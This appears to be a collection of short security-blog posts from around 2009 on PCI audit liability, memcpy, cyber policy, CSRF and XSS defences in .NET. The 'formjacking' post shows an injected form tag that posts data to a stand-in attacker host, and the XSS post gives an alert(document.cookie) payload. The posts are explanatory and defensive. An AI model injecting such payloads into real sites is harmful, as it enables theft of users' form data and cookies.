The buzz around the cyber security community this week is a court case where a bank has filed suit against a audit firm for damages from a breach. I guess this was just a matter of time before banks began blaming someone else for their lack of security, but this is an interesting case that could have huge consequences.
The auditor in question, Savvis, was responsible for the audit of CardSystems. For those unaware, the CardSystems was one of the largest data breaches in history. Savvis certified that CardSystems was CISP (the precursor to PCI) compliant. As a result Merrick lost millions in fraud claims and replacing cards.
Do we have companies out there giving out PCI compliance without completely doing an audit? Can companies purchase compliance instead of changing their security practices? If this is the case, the whole system breaks down. The credit card companies and consumers rely on these audits to ensure their data is safe.
The other part to this is that no matter how good the auditor, its not common for vulnerabilities to slip through the cracks. I can speak from experience, getting the entire picture when doing an audit is difficult – especially if the company is not cooperative. Companies can look compliant on paper and during an inspection, but revert to insecure practices after the audit. This case could set a dangerous precedent for auditors. I can see the prices of audits going up exponentially to pay for the errors and omissions insurance!
Eric IT Security Merrick, PCI, Savvis, Security
Here’s an article stating that Microsoft has added memcopy to the list of naughty functions. This is really not a surprise in my opinion. For those of you who do not know why this is bad, memcopy copies data from one memory location to another. The problem is that it does not check the size of the receiving location to make sure there is enough room. Over the years, this has caused many vulnerabilities. As any good C/C++ developer knows, good memory management is crucial.
Eric IT Security buffer overflow, memcopy, software security
Just finished reading a blog over over at Digital Underground saying that Bruce Schneier says we don’t need a cyber czar. I couldn’t disagree with Mr. Schneier more! His criticism is:
"Really what I think is it shouldn’t be anybody. We do better without a top-down hierarchy. Our economic and political systems work best when there isn’t a dictator in charge, when there isn’t one organization in charge. My feeling is there shouldn’t be one organization in charge. Not only shouldn’t it be the NSA, it shouldn’t be anybody."
I believe in federalism, but I don’t think that will work with cyber security. The problem isn’t with a central authority like a cyber czar. The problem is the lack of mandate to make the government networks/applications secure. In my experience, people are more worried about security taking too long to implement and getting blamed for vulnerabilities. If Obama appointed a cyber czar and at the same time signed an executive order mandating that all government network/applications meet a central standard in a reasonable amount of time, our cyber readiness would be much better. That mandate couldn’t be ignored…
In the comments of the above post, one topic being discussed is that IT workers should be certified like engineers or architects. This is an interesting concept, but I’m skeptical of how much this will help. I know of many projects that were certified by a Professional Engineer (PE) that had design issues. PEs are still human…
Eric IT Security cyber czar, cyber security
Just read a cool post over at omg.wtf.bbq about a new attack called “formjacking”. Not sure about the attack name, but this is pretty neat. In FireFox 3 and IE7, self contained XHTML tags provide a way to exploit a XSS vulnerability and alter the action associated with a form tag. I’ve tested this out and it also works with Google Chrome, so the same goes for the other WebKit based browsers like Safari.
The gist is that if you can insert a self contained form tag, the browser will ignore the other form tags. Let’s say that you have the following code:
<form action="good.php" method="post">
<input type="text" name="test" id="test"></input>
<input type="Submit" value="Submit">
</form>
If you can insert a self enclosed form tag:
<form action="http://evilhaxor.com/pwned" method="post" />
<form action="good.php" method="post">
<input type="text" name="test" id="test"></input>
<input type="Submit" value="Submit">
</form>
Notice the forward slash at the end of the tag? The second form tag will be ignored and the post data will be sent to the inserted action.
Eric IT Security cross site scripting, software security, xss
The FAA has performed a security assessment of 70 of their web applications and found a large number of vulnerabilities. This doesn’t come as much of a surprise because most government agencies have not cracked down on software security. Besides the vulnerabilities, there are two things that bother me:
1. No Static Analysis – In the methodology section of the memo, it looks like KPMG only used penetration testing for this assessment. I’m not looking to start the typical static versus dynamic testing debate, but I was surprised that static analysis was not a component of this assessment. Automated penetration testing relies on the tool being used to find the vulnerabilities. Depending on the application, this type of testing could miss some critical vulnerabilities. Static analysis provides deeper analysis and can find vulnerabilities not detected by penetration testing tools. Not to mention, using static analysis early in the SDLC will decrease these vulnerabilities before they are released.
2. Separate Standards – In the memo, the writer mentions that the FAA uses “DOT Secure Web Application Standards”. The DoD has their standards, the DoT has their standards, NIST has standards, NSA has standards, etc. There really should be a standard that is applied to all agencies with a mandate from the President. Cybersecurity affects all agencies and we should all be on the same page.
It seems that Obama is taking a stand on cyber security and I hope they take this the right way.
Eric IT Security application security, faa, penetration testing, static analysis
The folks over at Errata Security have a blog post about Cyber Commands failing. They make some really good points, but they are missing a few things.
On the offensive side, they’ve hit the nail on the head. Hacking is asynchronous and to do it on command will be difficult. The one aspect left out of their article is a DDoS attack capability. We may already have this capability, but its probably classified. Russia used DDoS effectively against Georgia last year, so hopefully that opened some eyes.
On the defensive side, we most definitely need a central cyber command. We do have some standards organizations and policies, but the mandates are too loose and there’s not much oversight. There needs to be a huge push for software security. I think the government does a decent job with network security, they just need to extend that ability to contractors. A central cyber command with the charge of defending the United States against cyber attacks is crucial.
Eric IT Security cyber security command
The Joint Strike Fighter program was infiltrated by Chinese hackers attempting to gain intelligence on the new aircraft. According to the article, this was a network attack on the contractors in charge of developing the JSF.
The article makes a great point about there not being a single agency in charge of cyber security. The Department of Defense should have a central organization with a clear mandate to increase our defenses against cyber attack.
Eric IT Security
Cross Site Request Forgery (CSRF or XSRF) is number 5 on the OWASP Top 10 and the “silent killer” of web app vulnerabilities. The best way to handle this problem is use a “token” system that is unique to every user. If the server side receives a request that does not contain the correct token, then the request is not processed.
In .NET, the ViewState provides this functionality…or does it? The ViewState by itself does provide some protection. The ViewState is a hash value use to store state information between PostBacks. This ViewState can be altered and recorded, so it’s not completely safe. To increase the safety, you can use the ViewStateUserKey property to encrypt the ViewState to the session ID of the current user. That reduces the exposure to recorded attacks.
But what if the ViewState is passed as a GET variable? If it’s not a PostBack, then the ViewState will not be checked. There’s that false sense of security again.
Setting the ViewStateKey is a good step, but to completely block CSRF, you will still need to use a token system with good resistance to brute force.
Eric IT Security
Cross Site Scripting (XSS) is listed as the top vulnerability on the OWASP Top 10 and one of the more dangerous vulnerabilities on the web. Because of the different ways to manipulate content, fighting XSS is a chore. For proof, check out the “XSS Cheat Sheet” at http://ha.ckers.org/xss.html. That list is still growing…
The main way to fight cross site scripting is encoding. If convert unsafe characters into their html counterparts, then malicious code will not be executed. In .NET, the HttpUtility.HtmlEncode method converts some unsafe characters for you. This is a good way to cleanse content before it is interpreted by the browser, but it won’t stop all XSS vulnerabilities.
HtmlEncode uses “blacklisting” to block unsafe characters. Blacklisting will stop some attempts, but leaves room for other attacks to happen if the coder is not careful. HtmlEncode converts the following characters:
- <
- >
- &
- “
- Characters with values 160-255
This will block most, but what if you fall into a false sense of security and forget what HtmlEncode does? If you were to execute something like this:
<input value=’<%= HtmlEncode(thisAction’)’ %> id=’btnExecute’>
If thisAction equaled alert(document.cookie), then the attack would work. This approach doesn’t seem rational, but I’ve seen worse.
A better approach is to use whitelisting. If you escape everything except what needs to be there, then you decrease your threat surface substantially.
Eric IT Security cross site scripting, software security, xss
There’s a good post over at ha.ckers.org that list some live sites that you can use to practice exploiting vulnerabilities. In addition, you could probably use demo.testfire.net. The site was created by Watchfire to test AppScan, but you could also use it for light testing.
Eric IT Security application security